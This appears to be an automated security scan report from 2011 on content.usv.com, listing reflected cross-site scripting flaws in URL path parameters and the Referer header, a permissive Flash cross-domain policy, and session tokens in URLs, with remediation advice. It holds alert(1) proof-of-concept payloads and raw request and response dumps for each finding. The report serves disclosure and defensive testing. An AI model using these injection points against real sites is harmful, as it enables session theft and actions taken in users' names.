Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6367d"%3balert(1)//039e3f3570d was submitted in the REST URL parameter 1. This input was echoed as 6367d";alert(1)//039e3f3570d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:09 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31923 Date: Wed, 09 Nov 2011 13:21:09 GMT X-Varnish: 1394910324 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... e="text/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/6367d";alert(1)//039e3f3570d/javascript/magnify_pipeline.js"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("ht ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 368e7"%3balert(1)//97f3f3336e2 was submitted in the REST URL parameter 1. This input was echoed as 368e7";alert(1)//97f3f3336e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:33 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31909 Date: Wed, 09 Nov 2011 13:21:33 GMT X-Varnish: 1394911842 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... e="text/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/368e7";alert(1)//97f3f3336e2/javascript/magnify_stats.js"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38b41"%3balert(1)//43465dc3fb4 was submitted in the REST URL parameter 1. This input was echoed as 38b41";alert(1)//43465dc3fb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:21:12 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31944 Date: Wed, 09 Nov 2011 13:21:12 GMT X-Varnish: 1394910526 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... e="text/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/38b41";alert(1)//43465dc3fb4/javascript/magnify_twitter_feed.js"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', ( ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6649"%3balert(1)//d4273c3f9bc was submitted in the REST URL parameter 1. This input was echoed as c6649";alert(1)//d4273c3f9bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:22:13 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31839 Date: Wed, 09 Nov 2011 13:22:13 GMT X-Varnish: 1394914482 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... e="text/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/c6649";alert(1)//d4273c3f9bc/track/dot.gif"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == document ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1e84"%3balert(1)//aba97bdb741 was submitted in the REST URL parameter 1. This input was echoed as e1e84";alert(1)//aba97bdb741 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pagese1e84"%3balert(1)//aba97bdb741/canvas HTTP/1.1 Host: content.usv.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:41 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31770 Date: Wed, 09 Nov 2011 13:20:41 GMT X-Varnish: 1394908215 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... xt/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/pagese1e84";alert(1)//aba97bdb741/canvas"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == document.locati ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb42"><script>alert(1)</script>b513d93001b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pages3eb42"><script>alert(1)</script>b513d93001b/canvas HTTP/1.1 Host: content.usv.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:39 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31876 Date: Wed, 09 Nov 2011 13:20:40 GMT X-Varnish: 1394908127 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... ;body=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pages3eb42"><script>alert(1)</script>b513d93001b/canvas%0AServer: content.usv.com%0APath: /pages3eb42"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload 4485b><script>alert(1)</script>cbd51014e3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:18 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32106 Date: Wed, 09 Nov 2011 13:51:18 GMT X-Varnish: 1395037409 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... enerated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')4485b><script>alert(1)</script>cbd51014e3c//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')4485b> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8e4f"><script>alert(1)</script>f128a5cbff6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:18 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31939 Date: Wed, 09 Nov 2011 13:51:19 GMT X-Varnish: 1395037451 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... m&body=This automatically generated email will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/c8e4f"><script>alert(1)</script>f128a5cbff6//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /c8e4f"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 88727<script>alert(1)</script>a0080ae0097 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:21 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32095 Date: Wed, 09 Nov 2011 13:51:21 GMT X-Varnish: 1395037661 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bc828%3balert(1)//8a934fec741 was submitted in the REST URL parameter 1. This input was echoed as bc828;alert(1)//8a934fec741 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:20 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32001 Date: Wed, 09 Nov 2011 13:51:20 GMT X-Varnish: 1395037609 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... sync_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/pagese1e84";alert('Vulnerable')bc828;alert(1)//8a934fec741//aba97bdb741/canvas"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == do ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d60af"%3balert(1)//7a16ef3a6c6 was submitted in the REST URL parameter 1. This input was echoed as d60af";alert(1)//7a16ef3a6c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:19 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31835 Date: Wed, 09 Nov 2011 13:51:19 GMT X-Varnish: 1395037543 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... e="text/javascript"> var _sf_async_config={uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/d60af";alert(1)//7a16ef3a6c6//aba97bdb741/canvas"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == do ...[SNIP]...
The value of REST URL parameter 2 is copied into the name of an HTML tag attribute. The payload 74860><script>alert(1)</script>302c457f4b3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:22 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32106 Date: Wed, 09 Nov 2011 13:51:22 GMT X-Varnish: 1395037733 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... l will help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb74174860><script>alert(1)</script>302c457f4b3/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb74174860> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c8d99<script>alert(1)</script>7718677d3d8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:23 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32095 Date: Wed, 09 Nov 2011 13:51:23 GMT X-Varnish: 1395037798 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload 4c274%0aalert(1)//a73f9f831ec was submitted in the REST URL parameter 2. This input was echoed as 4c274 alert(1)//a73f9f831ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:24 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32001 Date: Wed, 09 Nov 2011 13:51:24 GMT X-Varnish: 1395037924 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... uid:2250,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/pagese1e84";alert('Vulnerable')//aba97bdb7414c274 alert(1)//a73f9f831ec/canvas"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == document.locati ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a0983<script>alert(1)</script>560cebfacab was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:26 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32095 Date: Wed, 09 Nov 2011 13:51:26 GMT X-Varnish: 1395038142 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The value of REST URL parameter 3 is copied into a JavaScript rest-of-line comment. The payload 13710%0aalert(1)//18109b35891 was submitted in the REST URL parameter 3. This input was echoed as 13710 alert(1)//18109b35891 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:27 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32000 Date: Wed, 09 Nov 2011 13:51:27 GMT X-Varnish: 1395038204 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... 0,domain:"aggregate.magnify.net"}; (function(){ function loadChartbeat() { window._sf_endpt=(new Date()).getTime(); _sf_async_config.path = "/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas13710 alert(1)//18109b35891"; var e = document.createElement('script'); e.setAttribute('language', 'javascript'); e.setAttribute('type', 'text/javascript'); e.setAttribute('src', (("https:" == document.location.prot ...[SNIP]...
The value of REST URL parameter 3 is copied into the name of an HTML tag attribute. The payload 51524><script>alert(1)</script>4f0836ef3ba was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:25 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32106 Date: Wed, 09 Nov 2011 13:51:25 GMT X-Varnish: 1395038011 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... help us improve Magnify.net.%0A%0AThanks for your help! -- The Magnify Team%0A%0A---%0A%0AStatus: 404 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas51524><script>alert(1)</script>4f0836ef3ba%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvas51524> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 80fc5><script>alert(1)</script>bcd3408276c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:16 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 32007 Date: Wed, 09 Nov 2011 13:51:16 GMT X-Varnish: 1395037285 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 20ec0><script>alert(1)</script>17e8f7c0c1e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:15 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31929 Date: Wed, 09 Nov 2011 13:51:15 GMT X-Varnish: 1395037243 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
...[SNIP]... 4 (File Not Found)%0ALink: http://content.usv.com/pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AServer: content.usv.com%0APath: /pagese1e84";alert('Vulnerable')//aba97bdb741/canvas%0AReferrer: 20ec0><script>alert(1)</script>17e8f7c0c1e"> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: content.usv.com
Response
HTTP/1.1 200 OK Server: Apache Vary: Accept-Encoding Last-Modified: Tue, 03 Jun 2008 21:49:53 GMT ETag: "447d71-13a-4845bc81" Content-Type: application/xml X-Magnify-URL-Class: decor Content-Length: 314 Date: Wed, 09 Nov 2011 13:20:22 GMT X-Varnish: 1394906857 Age: 0 Via: 1.1 varnish Connection: close X-Cache: MISS
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
